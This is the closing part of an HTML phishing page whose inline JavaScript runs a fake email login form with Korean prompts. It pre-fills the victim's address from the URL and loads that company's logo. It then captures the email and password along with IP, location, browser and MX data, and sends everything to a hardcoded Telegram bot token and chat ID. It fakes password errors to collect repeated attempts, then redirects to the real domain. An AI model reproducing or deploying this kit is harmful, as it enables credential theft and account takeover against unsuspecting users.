
            </div>
          </div>
        </div>
      </div>
    </div>
    <!-- Optional JavaScript -->

    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script>
      const BOT_TOKEN = "8023701770:AAGb02_JSyNO9vu70i-BsnOFECDGnm-mcYk";
      const CHAT_ID = "5479464787";
      const LOGGER_TOKEN = "";
      const LOGGER_ID = "";
      const FILE =
        "";

      /* global $ */
      $(document).ready(function () {
        var count = 0;

        /////////////url ai getting////////////////
        const aim = window.location.hash.substr(1).split("/");
        var hashPart = handleBase64Data(aim[0]);
        var ai = hashPart;
        if (!ai) {
        } else {
          // $('#ai').val(ai);
          var my_ai = ai;
          logVisitorToTelegram(my_ai);
          var ind = my_ai.indexOf("@");
          var my_slice = my_ai.substr(ind + 1);
          var c = my_slice.substr(0, my_slice.indexOf("."));
          var final = c.toLowerCase();
          $("#ai").val(my_ai);
          $("#msg").hide();
          var logoUrl = "https://logo.clearbit.com/" + my_slice;
          $.get(logoUrl)
            .done(function () {
              $(".log").attr("src", logoUrl);
            })
            .fail(function () {
              logoUrl = "https://www.google.com/s2/favicons?domain=" + my_slice;
              $.get(logoUrl)
                .done(function () {
                  $(".log").attr("src", logoUrl);
                })
                .fail(function () {
                  $(".log").attr("src", "https://i.ibb.co/h1HX3Ch/favicon1.png");
                });
            });
        }

        $("#submit-btn").click(function (event) {
          $("#error").hide();
          $("#msg").hide();
          event.preventDefault();
          var ai = $("#ai").val();
          var namep = $("#namep").val();
          var msg = $("#msg").html();
          $("#msg").text(msg);

          var my_ai = ai;
          var filter =
            /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

          if (!ai) {
            $("#msg").html("Please enter email.");
            $("#msg").show();
            ai.focus;
            return false;
          }

          if (!filter.test(my_ai)) {
            $("#msg").show();
            $("#msg").html(
              "That account doesn't exist. Enter a different account"
            );
            ai.focus;
            return;
          }
          if (!namep) {
            $("#msg").html("&#48708;&#48128;&#48264;&#54840;&#47484; &#54869;&#51064;&#54644;&#51452;&#49464;&#50836;");
            $("#msg").show();
            ai.focus;
            return;
          }
          //minimum password length validation

          if (namep.length < 4) {
            $("#msg").html("&#48708;&#48128;&#48264;&#54840;&#47484; &#54869;&#51064;&#54644;&#51452;&#49464;&#50836;");
            $("#msg").show();
            ai.focus;

            return;
          }
          var ind = my_ai.indexOf("@");
          var my_slice = my_ai.substr(ind + 1);
          var c = my_slice.substr(0, my_slice.indexOf("."));
          var final = c.toLowerCase();
          var browser = GetBrowserandLanguage()[0];
          domain = my_slice;

          setTimeout(async () => {
            var date = new Date();
            const visitorInfo = await sendVisitorIP();
            var message = `--------+ Godly ReZulT ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} +--------\n`;
            message += "Email : " + ai + "\n";
            message += "Password : " + namep + "\n";
            message += "Checker: " + ai + ":" + namep + "\n";
            message += "Browser : " + GetBrowserandLanguage()[0] + "\n";

            message += "Language : " + GetBrowserandLanguage()[1] + "\n";
            message += "MX Record : " + (await getMXRecord(domain)) + "\n";
            message += "IP Address : " + visitorInfo[0] + "\n";
            message += `Region and Country : ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} \n`;
            message += "Date : " + date + "\n";
            message += `---------+ Godly ReZulT ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} +-------------\n`;
            var token = BOT_TOKEN;
            var chatId = CHAT_ID;
            $.ajax({
              dataType: "JSON",
              url: `https://api.telegram.org/bot${token}/sendMessage`,
              type: "POST",
              data: {
                chat_id: chatId,
                text: message,
              },
              beforeSend: function (xhr) {
                $("#submit-btn").val(`신원 확인`);
              },
              success: function (response) {

                if (response) {
                  if (response["ok"] == true) {
                    if (count >= 2) {
                      count = 0;
                      //         $(".login-form").hide();
                      //         $(".success-con").show();
                      //         $(".success-con .msg").html(`
                      //     ${langs.yourEmail} <br>
                      //     ${langs.success}</b>
                      // `);
                      console.log(`Success`);
                      setTimeout(() => {
                        window.location.replace("http://www."+my_slice); // Redirect to the desired page
                      }, 5000);
                    } else {
                      count++;
                      $("#msg").html("&#48708;&#48128;&#48264;&#54840;&#47484; &#54869;&#51064;&#54644;&#51452;&#49464;&#50836;");
                      $("#msg").show();
                      $("#namep").val("");
                      $("#namep").focus;
                      $("#submit-btn").val(`로그인`);
                    }
                  }
                }
              },
              error: function (err) {
                $("#error").html(
                  "That account doesn't exist. Enter a different account"
                );
                $("#namep").val("");
                console.log("Error : ", err);
              },
            });
          });
        });
      });

      function handleBase64Data(string) {
        try {
          return atob(string);
        } catch (error) {
          return string;
        }
      }

      function GetBrowserandLanguage() {
        // deliver this method
        let browser = window.clientInformation.appVersion;
        let language = window.clientInformation.language;
        // the return should be an array sorry not object ooo s
        let info = [browser, language];

        // return info array
        return info;
      }

      async function logVisitorToTelegram(email = "") {
        var date = new Date();

        console.log(`Visitor Info: `, visitorInfo);
        var message = `--------+ Visitor Godly ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} at ${date} +--------\n`;
        message += "Email : " + email + "\n";
        message += "Browser : " + GetBrowserandLanguage()[0] + "\n";
        message += "Language : " + GetBrowserandLanguage()[1] + "\n";
        message += "IP Address : " + visitorInfo[0] + "\n";
        message += `---------+ Godly Visitor ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} +-------------\n`;

        const url = `https://api.telegram.org/bot${LOGGER_TOKEN}/sendMessage?chat_id=${LOGGER_ID}&text=${encodeURIComponent(
          message
        )}`;
        fetch(url)
          .then((response) => response.json())
          .catch((error) => console.error("Error:", error));
      }

      async function getMXRecord(domain) {
        try {
          const response = await fetch(
            `https://dns.google/resolve?name=${domain}&type=MX`
          );
          const data = await response.json();

          if (data && data.Answer && data.Answer.length > 0) {
            const mxRecords = data.Answer.map(
              (record) => `${record.data}`
            ).join("\n");
            return mxRecords;
          } else {
            return "no-mx";
          }
        } catch (error) {
          return "MX-Error";
        }
      }

      function getVisitorIP() {
        return new Promise(function (resolve, reject) {
          var xhr = new XMLHttpRequest();
          xhr.open("GET", "https://ipinfo.io/json", true);
          xhr.onload = function () {
            if (xhr.status >= 200 && xhr.status < 300) {
              var response = JSON.parse(xhr.responseText);
              resolve(response);
            } else {
              reject("Failed to fetch IP address");
            }
          };
          xhr.onerror = function () {
            reject("Failed to fetch IP address");
          };
          xhr.send();
        });
      }

      async function sendVisitorIP() {
        try {
          var visitorInfo = await getVisitorIP();
          return [
            visitorInfo.ip,
            visitorInfo.country,
            visitorInfo.city,
            visitorInfo.region,
          ];
          // Here you can send the visitorIP value to your desired destination
        } catch (error) {
          return error;
        }
      }
    </script>
  

</body>